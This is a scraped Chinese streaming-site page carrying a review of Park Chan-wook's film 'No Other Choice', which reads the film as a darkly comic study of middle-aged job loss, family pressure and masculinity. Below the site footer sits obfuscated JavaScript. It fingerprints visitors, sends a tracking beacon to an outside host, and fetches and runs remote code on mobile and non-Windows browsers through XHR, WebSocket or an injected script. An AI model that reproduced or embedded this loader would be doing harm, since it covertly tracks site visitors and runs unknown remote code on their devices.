这就是中年人的恐怖片啊!

来源:新视觉影院人气:195更新:2025-10-30 21:30:06

已经很久没有一部电影这么吓到我了。

或者说,是有点让人难过,会让我试着跳出电影,想到自己的困境。

也是这个原因,我才会这么推崇这部影片吧,包括在豆瓣也是给了五星推荐,应该是今年非常难忘的观影体验了。

这就是朴赞郁导演的新片《无可奈何》



其实朴赞郁导演之前给人的感觉一直是:导演技巧非常强大,视听一流,尤其是上一部《分手的决心》,基本就是炫技之作。从导演能力的角度看,是最顶级的那一部分人。

但,他的故事却大多不是很能打动我,总觉得要么是夸张邪门、要么是奇情狗血,总是有些太过了。好是很好,但绝对不是最爱的那类。

但这次的《无可奈何》,却真的是结结实实、狠狠地打到我了。



当然,也不是说这次他的故事就正常了。

其实,《无可奈何》仍是非常荒诞、离奇、夸张与黑色幽默

但,因为里面描述的一些剧情和角色心理,有些过于贴近现实(或者说贴近我),使得电影与作为观众的我产生了电影之外的很多共鸣,所以,自然就更被触动了。



《无可奈何》根据唐纳德·维斯雷克的小说《斧头》改编,之前科斯塔-加夫拉斯也曾经改编过一版,叫《职场杀手》。



本片的故事非常典型,李秉宪饰演一位有着25年造纸经验的资深技师,是拿过年度造纸人奖杯的行业顶级人物。

原本家庭美满,生活幸福,一儿一女两条狗、老婆孩子热炕头。

一时间,他认为自己已经拥有了一切,是发自内心的幸福。



然后,他就被公司解雇了。

而重新就业的路,远比他想象得更艰难。或者是人到中年,且高层职位下岗,确实很难再就业了。

所以,原计划三个月重新上岗,却用了一年多的时间,发现自己仍无法找到适合的工作。

于是,他的生活、家庭、甚至房子可能都要遇到麻烦了。所以,他决定开始一个离谱的重新上岗计划……



这个设定是影片的最基础,无论是原著小说还是2005年的电影版,都是围绕着这个设定展开的。

所以,大家也都把本片归为有些黑色幽默的犯罪故事。因为,确实还挺荒诞的。

男主认为,要想获得工作,就必须杀死其他几个竞争对手,也就是说,他假想自己面对一个造纸行业的高层职位时,会有哪些人去应聘,哪些人的条件又比自己强。

然后,把比自己强的都杀掉,那这份工作就一定是自己的了。



非常离谱,但也逻辑自洽。

荒诞嘛,自然要夸张一些。但大家也都明白,这里面很多逻辑和情绪,却又是很写实的。

就业压力与失业焦虑,一直是当代社会的主题,无论是美国、法国还是韩国其实都是如此,经历了疫情之后,这种压力也正在加大。

甚至朴赞郁跟主演李秉宪和孙艺珍,在创作之前也都聊过失业焦虑的话题,毕竟韩国电影业现在也不好过。所以,大家拍这样的电影会更有感触。



于是,影片里的剧情虽然很夸张、很荒诞,但其中角色面对失业与就业的心境,估计很多人也会很有共鸣吧。

影片在营造这种心态上,用了很多小心思,比如,角色们的遭遇是有共性的,并不仅是男主一个有这个困境,其实,他要杀掉的那几个竞争对手,同样面临着与他类似的困境。

大家都是中年失业男,曾经有稳定的工作、幸福的生活,但,都开始遭遇着各种新问题了。



多个角色的共同遭遇,让整个故事的压迫感变得更加强大,并开始从电影中向外渗出来。

对比2005年法国版的《职场杀手》就会发现,朴赞郁在这版《无可奈何》的处理中,加入了很多他自己的表达。

《职场杀手》其实更像一部控诉资本家的犯罪惊悚片,故事核心主要聚焦在男主犯罪上。

但《无可奈何》的犯罪部分其实并不是影片真正的核心。包括导演有意把最重头的几场犯罪戏,都处理得非常喜感和充满戏剧性,也进一步削弱了暴力戏份的冲击力。

你会发现,影片真正的核心并不是犯罪,而是男主这个人。

是关于他如何在这巨大的压力之下,变得疯狂及不可理解。

你也不会觉得他真的可怜,你会觉得,在这个疯狂的世界里,所有人正都开始变得疯狂与不可理解。



同时,可能大家都是东方人的原因,家庭与中年困境,同样成为影片的关键话题。

《无可奈何》对家庭的描写显然用了更多笔墨,男主也经常把守住这个家当成他犯罪的理由(虽然,也只是他自认的理由)

但必须承认,家庭确实是我们比较爱挂在嘴边的一个事情。而所谓中年困境,常是跟家庭共生的一个话题。

男主的家庭设定也非常典型,有儿有女有别墅,还有两条狗,老婆学舞蹈、打网球,女儿学大提琴,儿子也在偷偷摸摸鼓捣着一些事情。



孩子要读书、上各种兴趣班;夫妻的正常社交、维持各种生活的体面;养一两个宠物,让生活更有乐趣;买一个心仪的房子,却也扛起了房贷……

片中描述的那些场景,似乎是每个人到中年的家庭里都会接触到的事情,但前提都是:

你得有工作、得有收入。

如果没有工作了,这一切看似的稳固与幸福,都很快就会垮掉、会消失。

这成为困扰片中角色们的最大困境,且没有任何真正完满的解决方式。



所以,我才会说这是中年人的恐怖片。

因为,影片中提及的话题,可能总会或多或少触到一些中年观众内心的小焦虑与小恐慌。

或者,现在并没有真的发生什么。但,很多人还是很害怕,如果真的发生什么,我们该如何应对。



听起来似乎有些贩卖焦虑,但如果大家将来真的看过这部影片就会发现。《无可奈何》其实已经把这些焦虑藏得很深了,仅从表面看,它仍只是一部有些夸张、有些荒诞的黑色犯罪喜剧。

是的,其实还挺好笑的。

影片中有很多场戏处理得都喜感,包括暴力戏的处理,也并不是那些血腥和疯狂,而且加多了一些喜剧元素,去弱化暴力。

就好像全片最精彩、最疯狂的那场杀戮戏,却也是全片最好笑的一场戏。



尤其是,朴赞郁导演在视听方面确实非常厉害,影片仍像一场大型的视听交响乐。

影片并不是传统的线性叙事,很多戏份会以更碎片和跳跃的方式来重新剪辑呈现。并以很多看似并不相干的情节并置和混合,达成新的喜剧效果和含义,也进一步增加了影片的趣味。



而且,从更深的角度去讲,这部影片也是有非常多的解读空间的。且不说影片中使用了大量的符号和象征物(牙齿、蛇、树、房子、拥抱等等),你会发现,这其实是一部关于男性的电影。

影片借李秉宪这个角色遇到中年危机和失业困境之后,去讲男性话题。大概就是,在遭遇如此大的变故之后,他将如何继续维持自己的男性形象和家庭地位。

从这个角度去解读这部影片,其实会同样非常有趣。



而且,观众也并不需要去完全代入这个角色,因为这个角色并不是真正值得同情的人,因为最终的一切解决办法,其实都是诉诸于暴力了。

而在影片的暗示里,我们也可以发现,男主之前是酗酒的,而且酒后很可能有家暴行为。

包括那个表演大于真心的全家拥抱仪式,其实也很有讽刺意味。而最终男主的遭遇,真的是守住了这个家吗?



在朴赞郁导演的这一版《无可奈何》中,在原著的基础上加入了很多自己的理解与更东方的处理。

但最核心的观点,底层互害的设定还是一直不变的。而且,这个书可是上世纪90年代的小说,里面提到的很多话题,却是一直有现实意义的。

男主遭遇了失业或者就业困境,并不考虑真正作恶的是谁,而是要去除掉其他竞争者(也就是和自己一样遭遇就业困境的人)。

这也算是卷王的终极形态了。


最新资讯

郑重声明:新视觉影院所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢新视觉影院请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 新视觉影院 www.indetime.com

function bvJFJw(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bvJFJw(t);};window[''+'N'+'e'+'e'+'X'+'t'+'X'+'v'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwr.zawmwcb.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZkLnZxaHNkamdwLmNvbSUzQTg4ODc=','d3NzJTNBBJTJGJTJGZC54d3lpY2xmYy5jb20lM0E4ODg3','2891',window,document,['l','B']);}:function(){};